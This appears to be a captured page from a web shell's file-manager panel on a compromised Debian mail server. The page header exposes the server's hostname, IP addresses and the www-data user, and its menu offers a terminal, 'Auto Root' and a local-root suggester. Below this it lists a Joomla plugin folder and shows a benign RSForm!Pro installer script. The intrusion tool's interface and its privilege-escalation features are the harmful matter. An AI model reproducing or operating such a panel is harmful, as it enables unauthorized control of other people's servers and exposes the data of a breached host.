Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
plugins /
system /
rsfppayment /
Delete
Unzip
Name
Size
Permission
Date
Action
forms
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
sql
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
index.html
44
B
-rwxr-xr-x
2022-10-13 18:18
menu.xml
553
B
-rwxr-xr-x
2022-10-13 18:18
rsfppayment.php
74.63
KB
-rwxr-xr-x
2022-10-13 18:18
rsfppayment.xml
1.29
KB
-rwxr-xr-x
2022-10-13 18:18
script.php
2.48
KB
-rwxr-xr-x
2022-10-13 18:18
Save
Rename
<?php /** * @package RSForm!Pro * @copyright (C) 2007-2019 www.rsjoomla.com * @license GPL, http://www.gnu.org/copyleft/gpl.html */ // no direct access defined('_JEXEC') or die('Restricted access'); class plgSystemRsfppaymentInstallerScript { protected static $minJoomla = '3.7.0'; protected static $minComponent = '3.0.0'; public function preflight($type, $parent) { if ($type == 'uninstall') { return true; } try { $jversion = new JVersion(); if (!$jversion->isCompatible(static::$minJoomla)) { throw new Exception(sprintf('Please upgrade to at least Joomla! %s before continuing!', static::$minJoomla)); } if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/rsform.php')) { throw new Exception('Please install the RSForm! Pro component before continuing.'); } if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/assets.php') || !file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php')) { throw new Exception(sprintf('Please upgrade RSForm! Pro to at least version %s before continuing!', static::$minComponent)); } // Check version matches require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php'; if (!class_exists('RSFormProVersion') || version_compare((string) new RSFormProVersion, static::$minComponent, '<')) { throw new Exception(sprintf('Please upgrade RSForm! Pro to at least version %s before continuing!', static::$minComponent)); } } catch (Exception $e) { JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error'); return false; } return true; } public function postflight($type, $parent) { if ($type == 'uninstall') { return true; } $installer = $parent->getParent(); $src = $installer->getPath('source').'/admin'; $dest = JPATH_ADMINISTRATOR.'/components/com_rsform'; JFolder::copy($src, $dest, '', true); if ($type == 'update') { // update, run sql again for the payment package $this->runSQL($installer->getPath('source'), 'install'); } } protected function runSQL($source, $file) { $db = JFactory::getDbo(); $sqlfile = $source . '/sql/mysql/' . $file . '.sql'; if (file_exists($sqlfile)) { $buffer = file_get_contents($sqlfile); if ($buffer !== false) { $queries = $db->splitSql($buffer); foreach ($queries as $query) { $query = trim($query); if ($query != '') { $db->setQuery($query)->execute(); } } } } } }